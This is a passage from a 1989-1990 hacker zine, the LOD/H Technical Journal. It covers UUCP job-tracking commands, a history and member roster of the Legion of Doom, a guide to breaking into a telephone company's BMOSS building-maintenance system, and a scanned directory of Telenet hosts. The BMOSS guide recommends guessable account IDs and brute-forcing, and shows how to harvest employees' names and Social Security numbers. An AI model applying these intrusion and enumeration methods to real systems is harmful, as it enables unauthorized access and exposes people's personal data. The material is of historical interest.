        DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

     E. uustat & uulog

     These two programs are used to track UUCP jobs and examine
their status.

     uustat prints out a one-line summary for each job, telling you
if the job is finished or the job is queued.  Older versions of
uustat will have the job state as either JOB DELETED or JOB IS
QUEUED.  The output of uustat will look like the following:

$uustat

   1001 hacker Alpha 10/31-09:45 10/31-10:15 JOB IS QUEUED
   1002 hacker Alpha 10/30-08:15 10/30-11:25 COPY FINISHED
    |      |     |        |           |             |
    |      |     |        |           |             |
  job #   user  node  start-time  status-time    job-status

See Table 4 for a list of options for the uustat command.

     uulog is a more thorough version of uustat, as it tracks the
status messages logged by the system as your job proceeded through
the system.  See Table 5 for options of the uulog command.

                                  Table 4*
                                  DDDDDDD
            _________________________________________________
            |                                               |
            |  -a  report all queued jobs.                  |
            |                                               |
            |  -k<job#> kill job # job#.                    |
            |                                               |
            |  -m  report if another system is accessible.  |
            |                                               |
            |  -q  report the number of jobs queued for     |
            |      all systems on the net.                  |
            |                                               |
            |  -s<system> report the status of jobs for     |
            |      the system named systemname.             |
            |                                               |
            |  -u<username> report the status of jobs for   |
            |      user username.                           |
            |                                               |
            DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
            * There are several other options such as -o and
              -y that are system specific, and aren't really
              that useful to begin with.


                                  Table 5
                                  DDDDDDD
                        ______________________________
                        |                            |
                        |  -s<system> same as uustat |
                        |                            |
                        |  -u<userid> same as uustat |
                        |                            |
                        DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

******************************************************************

This marks the end of Part I.  If time permits a Part II will be in
the next LOD/H Technical Journal.

(c) 1989   The Mentor
           Legion of Doom/Legion of Hackers

******************************************************************


The LOD/H Technical Journal, Issue #4: File 06 of 10.


                            The History of LOD/H
                            Revision #3 May 1990
                            written by Lex Luthor


NOTES: I approximated all dates, as my records are not totally complete.
       If I left anyone out or put someone in that shouldn't be in, sorry I
       tried and did spend considerable time researching the dates and
       BBS files, the old LOD BBS software, etc. Revisions one and two were
       released to LOD/H members only. Some information may only be relevant
       to those who were around at the time.


   The primary purpose of this article is simply to present an accurate
picture of events and people who have been associated with this group. The
reputation of many groups and many people have been tainted by slanderous
remarks made by uninformed law enforcement and justice department personnel,
the media, and other hackers. I find this sad, but it's a fact of life that
must be endured. All that can be done in this article is to attempt to present
the facts as I see them. Due to the wild and unfounded accusations by said
persons, today LOD is viewed more as malicious criminals than as for what it
was viewed as in the past. That is, of a group of people who put themselves at
risk to help inform others. Of course this is a prettier picture than most
want to believe, and is slightly prettier than what it is in actuality, but
the ideal is there. Whenever a group of individuals get together, you cannot
forget that they are individuals. These individuals can and do make mistakes
in judgement in some cases. But also, they have been and continue to be
victimized by law enforcement and said others. Over the years I have collected
tens of newspaper and magazine articles about "The LOD", myself, and others
with not a one being perfectly accurate. You have heard it before: don't
believe everything you read. That goes for this article also, although I have
made an honest attempt at ensuring that it is truthful and accurate, as Ripley
said: believe it, or not.

   I have been "retired" for quite some time now. My definition of retired is
simply that of keeping my activities to those of a strictly legitimate nature.
It is quite funny yet pitiful to here people say, "once a crook always a
crook" AND BELIEVE IT! That statement is a fallacy. Nearly everyone has done
something wrong when they were young yet many grow up to become the so called
normal, law abiding citizens that society says we should be. At this point in
time and in the foreseeable future, the risks of exploring and learning about
telephone and computer networks in a less than legitimate fashion outweigh the
benefits. I think many of the older hackers have adopted this philosophy out
of necessity. This decision is even easier after reflecting on the events of
which I have seen during the course of my "career". Those events are primarily
those of seeing people's rights being violated by law enforcement. Their
privacy being forsaken by the media. I do not dispute however, that some
hackers have done these same things to other hackers and other people. Neither
side is right or fair so I suppose it is time to exit since it's getting too
hot in the kitchen. I will remain however, in an advisory capacity to the
Technical Journal and group for as long as they continue exist. If you are to
believe the rumors, LOD has been dead many times, again untrue. The main
drawback of becoming a BBS hermit is how the rumors start to accrue as time
progresses. I have been "busted" perhaps a hundred times if you believe every
rumor. The fact is that I have never been visited let alone busted. I have
seen many people get into trouble due to their own carelessness. Those who
have remained unmolested by the authorities are either very careful and
paranoid, or are helping them catch others. I have been extremely careful and
exceedingly paranoid, period.

   Now that I have harassed the reader with my comments regarding the whole
hacking/phreaking experience, I present the story. Please note that I realize
many people could care less about all this, and if you are in that category
you can always throw this into the shredder, now. But, there is a sufficient
number of people who actually are curious to get the real story on this stuff
so here it is, presented to correct the many inaccuracies which have surfaced
over the years and also for the sake of posterity.

_____________________________________________________________________________

   During the winter break from school in late 1983, I took a trip up to Long
Island, NY to visit Quasi Moto. I had met him in south Florida, and he had
since moved. He decided to put up a BBS, and while visiting him, we worked on
it. For those who do not remember, its name was PLOVERNET. PLOVERNET was
considered a resurrected OSUNY by some since some users migrated to PLOVERNET
after OSUNY went down, at least in part, by an article in Newsweek mentioning
it. A new hacker magazine, 2600, started posting advertisements on various
boards. I had been in contact with Emmanuel Goldstein, the editor of 2600, on
Pirates Cove, another 516 BBS. I gave him the number to PLOVERNET and due to
the large amount of users, (500, of which 70% were relatively active) 2600 had
plenty of response. PLOVERNET went online in January of 1984 and shortly
thereafter it was the busiest BBS around. It was so busy in fact, that a long
distance service called LDX had stopped connecting people who dialed
516-935-2481 which was PLOVERNET's number. Now remember, this is early 1984
here. The practice of blocking calls to a certain number wasn't really done
by common carriers until 1986/87 with the emergence of new security software
and audit trail information. I picked the best phreaks and hackers from
PLOVERNET and invited them onto the newly created LOD BBS. LOD was one of the
first boards which upon connection did nothing until you entered the primary
password, and there was no new user routine as the board was invitation only.
Again, this was back in early 1984. It was a fairly original albeit paranoid
practice at the time, and many boards subsequently adopted the technique as
security became an increasing concern.

   Various groups had started forming such as Fargo 4A and Knights of Shadow.
I was admitted into Knights of Shadow in early 84. After suggesting some
promising new phreaks/hacks for membership and being turned down because they
were not well known enough, (ie: they weren't big names even though they knew
more than the guys who supposedly were) I put up the Legion Of Doom! bulletin
board and shortly thereafter started a phreak/hack group of the same name.
This was about May of 84 from what my records show. I had been a member of
KOS and LOD or a brief time and then KOS broke up. Although there were many
users on the LOD bbs, VERY FEW WERE MEMBERS OF THE GROUP! This distinction
seems to have been forgotten by many, since some who were on the BBS have
claimed to have been in the group, which is not true.

   The name Legion Of Doom! obviously came from the cartoon series which
pitted them against The Superfriends. I suppose other group names have
come from stranger sources. My handle, Lex Luthor was taken from the
movie Superman I. In the cartoon series, LOD is led by Lex Luthor and
thus, the group name was rather fitting. Being young and naive, I thought
having a handle of someone who claimed to have 'the greatest criminal mind on
Earth' and leading a group of the world's most notorious criminals would be
cool. That was about 7-8 years ago. Now however, I see that there is nothing
cool or attractive about being a criminal (believe it, or not).

   The original group consisted of phreaks who I had thought were very good
but were not considered 'famous' like those in KOS. Those original members
later became some of the best known phreak personalities and contributed
substantially to the knowledge of new and old phreaks alike. A list of members
from the very beginning to the present follows. Through my records and from
the best of my recollection I have approximated dates of entrance and exit and
other information. Also, I believe I have a complete list however, there
could be a mistake or two. Very few if any, handles from the past have been
duplicated by 'impostors' whether knowingly or unknowingly.

   I look at this article as a historical document seeing how no other group
has survived as long as LOD has. LOD originally consisted mainly of phreaks,
but had split into two separate entities.  LOD for telecommunications
hobbyists, and LOH for hacking and security enthusiasts.

Handle                 Entered   Exit      Location   Reason for leaving
-----------------------------------------------------------------------------
Lex Luthor             early 84  CURRENT   Here/There  ---CURRENT MEMBER---
Karl Marx              early 84  late  85  Colorado    Went underground/quit.
Mark Tabas             early 84  late  85  Colorado    Many reasons.
Agrajag The Prolonged  early 84  late  85  California  Loss of interest.
King Blotto            early 84  late  85  Ohio        No time/college.
Blue Archer            early 84  Fall  87  Texas       College.
The Dragyn             early 84  late  86  Minnesota   No time/lost interest.

Unknown Soldier        mid   84  early 85  Florida     Busted- Toll fraud.
Sharp Razor            late  84  early 86  New Jersey  Busted- Abusing CIS.
Doctor Who             late  84  early 86  Mass.       Misc.  Trouble
Erik Bloodaxe          late  84  CURRENT   Here/There  ---CURRENT MEMBER---
Sir Francis Drake      late  84  early 86  California  ???
Paul Muad'dib          late  84  early 86  New York    Went underground/quit.
Phucked Agent 04       late  84  late  87  California  No time. School.
X-man                  late  84  mid   85  New York    Busted- Blue boxing.
Randy Smith            late  84  mid   85  Texas       ???

Steve Dahl             early 85  early 86  Illinois    Busted-Carding.
The Warlock            early 85  early 86  Florida     Lost interest.
Terminal Man           early 85  late  85  Mass.  Kicked out-malicious hacking

Silver Spy             late  86  Fall  87  Mass.       College.
The Videosmith         early 86  Fall  87  Penn.       Lost interest.
Kerrang Khan           early 86  Fall  87  U.K.        ???
The Marauder           early 86  mid   88  Conn.       Lost interest.
Gary Seven             early 86  mid   88  Florida     Lost interest.
Bill From RNOC         early 87  late  87  New York    Misc.  Trouble.

Carrier Culprit        mid   87  mid   88  Penn.       Lost interest.
Master of Impact       mid   87  mid   88  California  School.
The Leftist            mid   87  Sum   89  Georgia     Misc.  Trouble.
Phantom Phreaker       mid   87  Fall  89  Here/There  Lost interest.
Doom Prophet           mid   87  Fall  89  Here/There  Lost interest.

Thomas Covenant        early 88  early 89  New York    Misc.  Trouble.
The Mentor             mid   88  Sum   89  Here/There  Lost interest.
The Urvile             mid   88  Sum   89  Georgia     Misc.  Trouble.
Phase Jitter           mid   88  CURRENT   Here/There  ---CURRENT MEMBER---
Prime Suspect          mid   88  CURRENT   Here/There  ---CURRENT MEMBER---
The Prophet            late  88  Sum   89  Georgia     Misc.  Trouble.
Skinny Puppy           late  88  CURRENT   Here/There  ---CURRENT MEMBER----
Professor Falken       late  89  CURRENT   Here/There  ---CURRENT MEMBER---


Directory key:
"Lost Interest": simply means they lost interest in phreaking/hacking in
general, not lost interest in LOD/H.
"???":  reason for leaving is unknown.
Misc. Trouble: Exactly that. Too much to go into here.
Of all 38 members, only one was forcefully ejected. It was found out that
Terminal Man destroyed data that was not related to covering his tracks. This
has always been unacceptable to us, regardless of what the media and law
enforcement tries to get you to think.
Remember, people's entrance/exit times have been estimated.


                               [ End of Article ]
The LOD/H Technical Journal, Issue #4: File 07 of 10

                     The Trasher's Handbook to B.M.O.S.S.
                                     by
                            Spherical  Aberration

INTRODUCTION:

   Those who have actually trashed at Bell Co. before know that finding an
installation can be a pain.  Most Telco buildings these days are un-marked,
plain, and generally overlooked by the average person.  The buildings
were specifically made so that they WOULD be overlooked, concealing
itself and its contents.  Knowing where all Bell Co. installations are
would be nice, and through the help of BMOSS we can find out where they
ALL are.

NOTE: It is possible to get locations from your city hall, just take a
look at what property Bell Co. owns and locate it.  However, there are few
catches to this method.  First, most cities charge you to find out who
owns what property and there might be a waiting period of a few days.
Second, not all Bell Co. property is owned by Bell Co.  There are
instances of Bell Co. renting a piece of property from a company and
using the existing building, possibly with the leasing companies logo
still on it.

   BMOSS stands for Building Maintenance Operations Service System.
BMOSS provides computer support for daily building maintenance tasks.
A comprehensive database helps users keep track of repair activities.
Telco field mechanics logon everyday to do assorted field mechanic
stuff.  From BMOSS they can check on tasks needed to be done, send
messages to users, charge various Telco installations for work, log time
sheets, generate purchase orders, see where his buddies are eating lunch etc.

   BMOSSes are usually located in a BOCC (Building Operations Control
Center) or in a REOC (Real Estate Operations Center).  BMOSS is run
under AT&T Unix System V and at some points is quite Unix-like.  At each
center is one PDP-11/44 or a PDP-11/84 mainframe that is the base of
operations for that center and other installations supported by that
BOCC/REOC.

LOGGING ONTO BMOSS:

   Before logging on to BMOSS you must select the proper type of
terminal emulation.  BMOSS has 4 types of emulations available for all
users.  Users within the BOCC/REOC use either VT100 or VT220 compatible
terminals, while other internal stations will use an LA120 printer
terminal.  Field Mechanics at a remote location use their typewriter
like LA12 printer terminals.

   Identifying a BMOSS dialup is not that hard at all.  After hitting a
three [CR]'s the system will respond with something like this:

   (BEEP!)

   Good Morning   (Depending on what time of day it is)

   BASE/OE - Fri 04/23/90 09:43:22 - Online 9

   User ID?
   Password?

   Typically user IDs are the three initials of the field mechanics name.
After inputting your ID you will be prompted with a Password? request.
Passwords can be from 6 to 8 characters in length, including punctuation
marks, the first letter must begin with an alphabet-letter or a number.
They cannot contain spaces or the users first/middle/last name.
Periodically the system will prompt the user for a new password.  This
period of time is usually set by the system administrator.

   I have found that the "WRK:A10" user ID or a variation of WRK:xxx
where xxx is a alpha-numerical combination has worked excellent for me.
I believe the WRK:xxx is some type of low-level account when field
mechanics lose their current ID/PW combination.  Initials also have been
found on most of the systems, so a WRK:xxx and Initials brute-force attempt
just may give you a working ID.


IN BMOSS:

   Once penetrating initial security you are then prompted with BMOSS's
FLD> main level identifier.  This FLD> changes as you move from BMOSS's
root to the various main BMOSS branches.

   Sometimes when you logon to BMOSS you will receive a memo saying,
"NOTE - Check your office" at this time go to the Office and read the memos
sent to you.  Read THE OFFICE later in this article to learn how.

   BMOSS was designed with the average Joe in mind and is very logically
laid out.  BMOSS was modeled after UNIX's Tree-oriented structure.
Here is a Tree of BMOSS's structure:

                                BMOSS
                     _____________|_____________
                     |    |    |     |    |    |
                    CON  DAT  ACT   FOR  BIL  OFF

Main Branches:
CON- Control Functions (Sys Admin payroll/timesheet functions)
DAT- Database Maintenance (What we are mainly concerned with)
ACT- Field Activity (Handles field activities)
FOR- Force Administration (Recording labor hrs for time sheets etc.)
BIL- Bill Paying (Processing purchase orders, producing expense accts.)
OFF- Electronic Office (Receive/Send Messages or Page users)

   Each main branch then branches off into its own specific
commands.  I will concentrate on the Database Maintenance functions since
the other functions have little or no use to us.

DATABASE MAINTENANCE:

   To haul in the mother lode you go into the Database Maintenance area
from the root.  This is accomplished by typing DAT in at the FLD>
prompt.  Now you should get a DAT> prompt meaning you are now in the
Database Maintenance section.  To get a listing of the available DAT
commands type in 'SHO' which is short for SHOW.  We are mainly concerned
with the BLD (Building Master) function.  Once the BLD function is
selected you will be prompted for a sub-form. There are 7 sub-forms for
the BLD function.

   BLD Sub-Forms:
1. GEN- General Background
2. OWN- Building Ownership (used for adding a new building to database)
3. LES- Lease Terms (used for adding a new building to database)
4. EMG- Emergency Data (contains Police and Fire Dept. that serve this
        location and their respective telephone numbers, and whether the
        location has backup power and fire-sprinklers etc.)
5. RES- Maintenance Responsibility (Maintenance entries for building)
6. WRD- Building Warden (Building Wardens number etc.)
7. NOT- General Notes (Notes about the particular building)
8. ACC- Accounting Distribution (Account for particular building)

Accessing the above information is as easy as selection of the three
letter identifier at the Sub-Form prompt.  We are particularly concerned
with the GEN (General Background) information.  This function gives us the
following data:

 1. Building's Number
 2. Building's Complete Address
 3. Building's Name
 4. Building's Sector (Bell informational purposes only)
 5. Building's Zone   (Bell informational purposes only)
 6. Whether or not Bell owns the building. (A Y/N combination is usually
    shown here.  Y meaning its is owned by Bellco, N meaning its not
    owned by Bellco.)
 7. The building's group (One letter identifier)
 8. The building's use.  (Garage/Warehouse/Office etc.)
 9. The kind of telephone equipment used in the building. (ESS1A etc.)
10. Whether or not Bell is Sub-leasing parts of the building. (Y/N identifier)
11. The number of floors in the building
12. The number of basements in the building (A number of 3 here would
    mean the building has 3 below ground level floors.
13. Whether or not the building has a cable vault. (Y/N identifier)
14. Gross Square footage of the building
15. The number of reserved parking spaces for the building.

   Once entering the DAT section and entering GEN as your sub-form
selection you will be prompted for a building number.  Random selection
of building numbers is necessary because they vary from area to area.
Once a legitimate building number is accessed the above information will
be displayed.

   Ok, you now have the information you need, how do you get back to a
previous directory or even log off ? That's quite easy.  Typing in EXI
(short for EXIT) will bring you back up to the root FLD> one directory at
a time.  For logging off the system you should hit EXI until you reach the
FLD> root then BYE and you will get:

   BASE/OE - Fri 4/23/90 10:22:13 - Offline 9

   Have a Good Morning

OTHER FUNCTIONS:

   I have found the REPORTS function most helpful in finding other
user IDs.  To get a listing of the 20+ different types reports type
'HELP REPORT' at the FLD> prompt.  We are particularly concerned with
REPORT 41, the Estimated vs. Actual Hours Log.  We bring this up by
typing from the FLD:

FLD> REPORT 41 04/02/90-04/06/90  <cr>

   You are inquiring for the estimated vs. actual hours time on a series
of jobs from April 4th 1990 through April 6th 1990.  The output then
kicks out the hours and such.  Every field mechanic that worked throughout
those days will be displayed in- First name, Middle Initial, and Last Name
totally spelled out for you.

   Another useful report is REPORT 90- Data Access Log.  It is called up
by typing:

FLD> REPORT 90 <cr>
Date Range? 04/06/90-04/08/90

   The system then kicks out all users that used the SCOPE command on
other users.  The system prints out the users full name and actual USER ID
and who the user scoped including the scoped-user's Social Security number.

THE OFFICE:

   When you are prompted that you should check your messages you should
do so immediately before any work is done in BMOSS.  First you must go to
your office which is done by selecting OFF from the FLD> identifier.
Once this is done your FLD> prompt will change to a OFF> prompt.  Typing
HELP will give you the available HELP commands for the office.

   To check the messages type in:

   OFF> STATUS <cr>

   BMOSS will reply with the following: (example)

       Memo            From User              Subject          Status
   --------------  ------------------  ----------------------   ---
   IPAAA 04/01/90  Wile E Coyote       Current Task Info        OUT
   BNAAA 04/02/90  Susie B Hott        Last Saturday Night      IN

   The user then sees he has a memo from his boss about his current
tasks and a memo from his co-worker/seductress Susie B. Hott.  Fuck his
boss, he wants to read what Susie has to say.  So you type in:

   OFF> PRINT BNAAA <cr>


                              --- MEMO ---
   Date: 04/02/90
   Time: 08:11

   From: Susie B Hott
   To: Legion Of Doom

   Subject: Last Saturday Night

   LOD, I really enjoyed last saturday night.  We must do it again.
   Give me a call soon, 555-WETT.
   ** Susie


   A useful command is a list of OFFICE users.  This gives you another
   listing of user's Full-Name/ID combinations.  Get this by typing:

   OFF> USERS <cr>

   It will then print out the users who are in the Electronic Office
   database.

   CONCLUSION:

   You can get HELP from anywhere just by typing HELP from the prompt.
Or if you need specific information about a function type in HELP then
the function name. Such as:

   FLD> HELP REPORT  (This gives you options/help on the REPORT command)

   BMOSS can be used for a large amount of purposes for the
hacker/trasher.  Even though it doesn't have any really powerful
commands to self-destruct the telephone company it can be used to access
other building's trash, and other things that may interest you.

   ______________________
  ( Spherical Aberration )
The LOD/H Technical Journal, Issue #4: File #08 of 10

                       The Legion Of Hackers Present:
                       Updated:  Telenet Directory
                       Part A: Addresses 201XXX to 424XXX
                       Revision #5 Last Updated: 2/10/90
                       (Includes Mnemonic Host Names)

                           Scanned and Written by:
                                Erik Bloodaxe

INTRODUCTION:
-------------

It has been some time since our last update. Our old list (Revision #4) has
been distributed to those in the United States and internationally thanks to
the widespread use of the PSS network. For this reason we are including the
format for converting this 'local' address list into accessible hosts using
the standard scheme for telenet when accessed from 'foreign' networks.

For example, the local address: 20114 is 031102010001400 using the standard
format. 3110 is the DNIC (Data Network Identifier Code) for USS Telenet
and the zero preceding it is needed to make it clear to the foreign
network that the NUA (Network User Address) is a non-local address. Another
example, the local address is 203155 would be: 031102030015500 thus: 0DNIC NPA
00 XXX YY NPA is the area-code prefix (this is not necessarily an area code),
XXX is the sub-address and YY is the port which is usually 00.
For those unfamiliar with Telenet addressing, it generally follows the format
of grouping hosts into area codes. Thus, our directory is grouped accordingly.
There are 'non-standard' address prefixes which are rather obscure. These
commonly are owned by the same company or organization, whereas the area code
format contains hosts from many companies or organizations. The state an area
code resides is also listed to give you an idea of its location.
I have also included Telenet commands, mnemonic addresses, a somewhat current
list of pc-pursuit dialers, and a few things to consider for the would-be
Telenet scanner.

NOTES:

When accessing telenet from abroad, ignore the '$' after the address. This
denotes to users of the USA that an NUI (Network User ID) is required due to
the host not accepting collect charges for the connection.

Addresses preceded by a * refuse collect connections, but I was
unable to connect with them to determine what they were.

Addresses that have no comments next to them either hang up upon connection,
or I was unable to evoke any response from them.

Due to its immense size, this directory has been presented in a 'rougher' form
than our previous ones. The time to make it look 'pretty' was determined to
not be worth the effort.


TELENET COMMANDS
----------------

Most commands are listed in their four character form, however,
some may be abbreviated to merely one character (ie. C & D).

CONN            Allows user to connect to a specified host
DISA ECHO
DISA FLOW
DISA TFLO
DISC            Disconnect from current host
DTAPE           ?
ENAB ECHO
ENAB FLOW
ENAB TFLO
FULL            Full duplex
HANG            Hang up port
HALF            Half duplex
MAIL            Telemail service
PAR             Set parameters as specified
PAR?            Shows current parameter settings
RESE            Resets the node to inactive
RST             Sets parameters of remote host as specified
RST?            Shows current parameters of remote host
SET             Same as PAR
SET?            Same as PAR?
STAT            Shows current port
TAPE            ?
TELE            Telemail service
TEST CHAR       Test of all ascii characters
TEST ECHO       Test which echos all characters typed
TEST TRIA       Test which makes repeating triangle
TEST VERS       Shows current pad software version

The default command is CONN, so if an address is entered at the
'@' prompt, an attempt will be made to connect to that address.

A connection attempt may be aborted by sending a break signal.
This will put you back to the '@' prompt.

To return to the '@' prompt from an established connection the
user must type '@' followed by carriage return.

Normal 300/1200 users awaken the pad with two carriage returns.
2400 baud users must type '@' then carriage return.

To awaken the pad in the Uninet format, type:  carriage return,
period, then carriage return (upon initial connection).

To find the telenet dialup nearest your location, call 800-424-
9494 at 300/1200 baud.  At the '@' prompt, type 'MAIL'.  Enter
user name 'PHONES' with password 'PHONES'.


TELENET DIRECTORY
-----------------

201--NEW JERSEY--ADDRESSES SCANNED:  0-2000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  1                      PC Pursuit Dialer (1200)
   14                     WELCOME,  NAME OR #?
   15                       "           "
$  20      VM/370
$  22                     PC Pursuit Dialer (2400)
*  23
   25                     WELCOME, NAME OR #?
   32                     D&B
$  34      PRIME          MWH
$  35      PRIME
   45                     NEWSNET
$  49      VAX
   50      UNIX           Interet
$  51      PRIME          USCGB
   53                     Colgates IICS
$  55      PRIME          USCGB
$  66      PRIME          SYS001
   67                     Warner Computer Systems
   68                       "           "
   69                       "           "
   74                     enter class
   83                     ENTER ID:
   84                     D&B
   86                     D&B
   88                     D&B
   89      VM/370
$  129a
   138     HP-3000
*  140
   146     HP-3000
   149     VAX
*  150
   156     UNIX           Securities Data Company
   159a
   163                    VU/TEXT
   164                    VU/TEXT
   166     VM/370         New Jersey Educational Net
   171                    >>
   172                    >>
   173
   200                    D&B
   201                    D&B
   220     VAX            Investment Technologies
   225     VAX              "              "
$  241
   242                    D&B
   243                    D&B
   244                    D&B
   246                    D&B
   249                    password required
*  251
   252     PRIME
   259     VAX            CCMI/McGraw Hill
*  260
$  301                    PC Pursuit Dialer (1200)
   334                    TINTON1
*  336
$  350                    Concurrent Computer Corp
   353                    enter switch characters
$  355                    Concurrent Computer Corp
   359                    Telenet Async to 3270
   367
*  371
*  379
   453                    Telenet Async to 3270
   454a                   Telenet Async to 3270
$  458                    ENTER REQUEST
$  459                         "
   461     VAX
   463a                   Telenet Async to 3270
   470     Decserver
$  472                    MHP201A
   476                    X.29 Password:
   477                    Please enter logon cmd
$  478                    MHP205A
   479                    Please enter logon cmd
   520                    Enter Access ID:
   521                    Bankers Trust Online
   522     VAX            NYBTRP
*  548
   586                    Dow Jones News Retrieval
   587                      "            "
   589                      "            "
   604                    Lipton Network
   700     HP-3000
   702     TOPS-20        CEI
   722                    INSCI/90
   730                       "
   751                       "
   752                       "
   770                       "
   792                       "
   799
   830                    INSCI/90
   841                       "
   850
   870                    INSCI/90
   890                       "
   895                       "
   899
   910                    INSCI/90
   912                       "
   914                       "
   916
   918                    INSCI/90
   940                       "
   950                    Bankers Trust Online
   951                      "         "
   952                      "         "
   953                      "         "
   954                      "         "
   955                      "         "
   956                      "         "
   957                      "         "
   958                      "         "
   959                      "         "
   999
   1025
   1051                   VU/TEXT
   1052                      "
   1053                      "
   1054                      "
   1055                      "
   1056                      "
   1057                      "
   1058                      "
   1059                      "
   1060                      "
   1061                      "
   1062                      "
   1063                      "
   1064                      "
   1065                      "
   1066                      "
   1067                      "
   1068                      "
   1069                      "
   1075                      "
   1076                      "
   1077                      "
   1078                      "
   1079                      "


202--WASHINGTON D.C.--ADRESSES SCANNED:  0-800

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   10      PRIME
   31      VAX            News Machine
$  36                     Network Sign-on Failed
$  38                                "
$  47      VAX
*  48
   49                     ENTER SYSTEM ID--
$  115                    PC Pursuit Dialer (300)
$  116                    PC Pursuit Dialer (1200)
$  117                    PC Pursuit Dialer (2400)
*  123
   132     VAX
   133                    BA
   134                    BA
$  138     VAX            Gallaudet University
$  139     DEC-10
   141     PRIME          Telemail
   142     PRIME          Telemail
$  149
   150     VAX            IDR
*  151
$  154                    Telenet Async to 3270
$  155a                   Telenet Async to 3270
$  156     VAX            American Psychiatric Assn
*  157
   161     UNIX           pac
   162                    enter user id-
$  165     HP-3000
$  166     VAX
   201                    Host Name:
   202
   203                    USER ID:
   214     PRIME          SPA
   217
*  224
*  230
   232a
$  235     PRIME          AMSC
$  239     PRIME          AMSA
*  241
*  242
*  243
   245     AOS
*  253
*  254
   255                    Morgan Stanley Network
*  258
*  260
*  265
*  266
*  275
*  276
*  277
$  278                    USER ID
   308     PRIME
   309     PRIME
   312     PRIME
*  330
*  331
*  332
*  333
*  334
*  335
   336     VAX            Congressional Quarterly
   337     VAX                       "
$  343     PRIME          OT
   360     HP-3000
   361
   362
*  364
   365                    LEXIS/NEXIS
   366                         "
   367                         "
*  371
*  372
*  373
*  377
$  390                    #Connect Requested
$  391                           "
*  403
   430                    >
*  433
*  434
   439                    Institute of Nuclear Power
   440                              "
   441                              "
   442                    you are now connected
   444                    Institute of Nuclear Power
$  455
   456
   457
   458
$  462
$  463
   465
   466
   467
   469
   470
   472
$  473
$  474
$  475
$  532     VAX
$  535     AOS
*  536
*  652
*  653
*  654
   693     HP-3000        MPE XL
   709
   710
   711
   712
   810                    Telenet Async to 3270
   811a                   Telenet Async to 3270
   1180                   INVALID-SW-CHARACTERS
   1181
   1182                   NCR Comten



203--CONNECTICUT--ADDRESSES SCANNED:  0-600

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   22      VM/370
*  57
$  60      HP-3000
   66                     Login Please:
   72      HP-3000
   73a                    Password:
   75      VAX
$  105                    PC Pursuit Dialer (2400)
$  120                    PC Pursuit Dialer (300)
$  121                    PC Pursuit Dialer (1200)
$  132     VAX
*  135
   136     PRIME          SYSA
$  140                    ID
   165                    Telekurs USA
*  230
*  231
   304     HP-3000
$  305                    Name?
   307     HP-3000
   310
*  311
*  331
*  332
*  501
   602                    DESTINATION?


205--ALABAMA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  30
$  33                     ID
*  34
*  36
$  73      PRIME          ALABMA
*  137
$  145     HP-3000


206--WASHINGTON--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20      HP-3000
$  30      HP-3000
   32      VAX
$  35                     DMOLNCT
$  38      AOS
$  40      PRIME          P6350
$  42      AOS
$  44      AOS
$  50      AOS
   53
$  57      AOS
   65      PRIME          OAD
$  131     AOS
$  132     VAX            ETA-RX
$  135     AOS
   137a                   Boeing msg switch
$  138                    USSMSG2
$  139     WANG VS        SECURITIES (FRS)
$  141     AOS
$  145     AOS
$  146     PRIME          SEATLE
$  147     AOS
*  150
$  160     AOS
$  161     AOS
   175a                   Boeing test
$  205                    PC Pursuit Dialer (300)
$  206                    PC Pursuit Dialer (1200)
   207a
$  208                    PC Pursuit Dialer (2400)
$  250     WANG VS        SYSTEM ONE (FRC)
$  251     WANG VS        SYSTEM TWO (TACOMA)
$  338
$  357     HP-3000
$  430                    Environmental Ctrl Monitor
   439                    bcs network
   440     NOS            Boeing
   447     NOS            Boeing
   448                    bcs network
   449     VM/370


207--MAINE--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  51


208--IDAHO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  42      AOS
$  43      AOS
$  56      AOS
$  131     AOS
$  134     AOS
$  135     AOS
$  136     AOS
$  137     AOS
$  140     AOS
$  141     AOS
*  150
$  152     AOS


209--CALIFORNIA--ADDRESSES SCANNED: 0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31      AOS
*  33
*  34


211--DUN & BRADSTREET--ADDRESSES SCANNED:  0-100/1000-2000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   1140
   1142
   1145                   Dun & Bradstreet Terminal
   1190                      "               "
   1195                      "               "
   1240                      "               "
   1244                      "               "
   1290                      "               "
   1291                      "               "
   1295                      "               "
   1390                      "               "
   1391                      "               "
   1392    PRIME
   1396                   Dun & Bradstreet Terminal
   1490    PRIME
   1491                   Dun & Bradstreet Terminal
   1492                      "               "
   1493                      "               "
   1494                      "               "
   1540                      "               "
   1591                      "               "
   1594                      "               "
   1594                      "               "
   1640                      "               "
   1690                      "               "
   1693                      "               "
   2140                   CCS Online
   2141                   CCS Online
   2142    VM/370
   2143                   sls1
   2145    VM/370
   2150    PRIME
   2151                   fsd2
   2152                   socy
   2153                   css3
   2154                   CCS Online
   2155                   CCS Online
   2156                   ecl1
   2157                   tbs1
   2158                   dbc1
   2159                   exx2
   2160                   nyt2
   2162                   css1
   2163                   css2
   2164                   bofa
   2165                   soc1
   2166                   soc2
   2167                   socx
   2168                   soc3
   2169                   soca
   2170                   socb
   2171                   socc
   2172                   dnb1
   2173                   mdy2
   2174                   koln
   2175                   fsd1
   2176                   ptts
   2177                   has1
   2178                   has3
   2179                   levi
   2180                   nyt1
   2181                   pers
   2182                   risk
   2183                   usc1
   2184                   cids
   2185                   zyt1
   2186                   inel
   2187                   fop1
   2188                   kbm1
   2189                   kbm2
   2190                   kbm3
